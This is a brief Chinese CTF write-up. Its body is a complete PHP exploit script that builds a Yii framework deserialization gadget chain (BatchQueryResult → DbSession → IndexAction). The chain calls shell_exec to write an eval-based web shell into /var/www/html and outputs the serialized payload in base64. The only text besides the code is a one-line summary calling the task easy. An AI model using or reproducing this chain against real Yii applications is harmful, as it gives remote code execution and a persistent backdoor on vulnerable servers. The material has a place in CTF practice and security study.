目錄

• 題解
• 總結(jié)

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題解

exp

<?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2021-05-03 21:55:29 # @Last Modified by: h1xa # @Last Modified time: 2021-05-04 01:25:28 # @email: h1xa@ctfer.com # @link: https://ctfer.com*/ namespace yii\rest {class Action{public $checkAccess;}class IndexAction{public function __construct($func, $param){$this->checkAccess = $func;$this->id = $param;}} } namespace yii\web {abstract class MultiFieldSession{public $writeCallback;}class DbSession extends MultiFieldSession{public function __construct($func, $param){$this->writeCallback = [new \yii\rest\IndexAction($func, $param), "run"];}} } namespace yii\db {use yii\base\BaseObject;class BatchQueryResult{private $_dataReader;public function __construct($func, $param){$this->_dataReader = new \yii\web\DbSession($func, $param);}} } namespace {$exp = new \yii\db\BatchQueryResult('shell_exec', 'echo "<?php eval(\$_POST[1]);phpinfo();?>" >/var/www/html/basic/web/1.php');echo(base64_encode(serialize($exp))); } ?>

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總結(jié)

水題

總結(jié)

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